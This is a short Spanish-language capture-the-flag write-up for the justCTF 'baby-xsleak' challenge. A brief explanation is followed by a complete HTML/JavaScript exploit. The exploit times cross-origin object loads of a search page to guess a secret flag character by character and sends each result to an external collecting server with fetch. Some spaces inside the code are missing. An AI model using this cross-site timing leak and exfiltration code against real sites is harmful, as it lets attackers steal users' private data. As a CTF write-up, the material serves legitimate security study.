En este desafío, el usuario podía enviar miles de caracteres y si la bandera estaba contenida, los caracteres serían devueltos al bot. Así que al poner una gran cantidad de caracteres, el atacante podía medir si la bandera estaba contenida en la cadena enviada o no.
Inicialmente, no establecí el ancho y la altura del objeto, pero más tarde descubrí que es importante porque el tamaño predeterminado es demasiado pequeño para hacer una diferencia en el tiempo de carga.
<!DOCTYPEhtml><html><head></head><body><imgsrc="https://deelay.me/30000/https://example.com"><script>fetch('https://deelay.me/30000/https://example.com')functionsend(data) {fetch('http://vps?data='+encodeURIComponent(data)).catch(err =>1)}functionleak(char, callback) {returnnewPromise(resolve => {let ss ='just_random_string'let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start =performance.now()let object =document.createElement('object');object.width ='2000px'object.height ='2000px'object.data = url;object.onload= () => {object.remove()let end =performance.now()resolve(end - start)}object.onerror= () =>console.log('Error event triggered');document.body.appendChild(object);})}send('start')let charset ='abcdefghijklmnopqrstuvwxyz_}'.split('')let flag ='justCTF{'asyncfunctionmain() {let found =0let notFound =0for(let i=0;i<3;i++) {awaitleak('..')}for(let i=0; i<3; i++) {found +=awaitleak('justCTF')}for(let i=0; i<3; i++) {notFound +=awaitleak('NOT_FOUND123')}found /=3notFound /=3send('found flag:'+found)send('not found flag:'+notFound)let threshold = found - ((found - notFound)/2)send('threshold:'+threshold)if (notFound > found) {return}// exploitwhile(true) {if (flag[flag.length-1] ==='}') {break}for(let char of charset) {let trying = flag + charlet time =0for(let i=0; i<3; i++) {time +=awaitleak(trying)}time/=3send('char:'+trying+',time:'+time)if (time >= threshold) {flag += charsend(flag)break}}}}main()</script></body></html>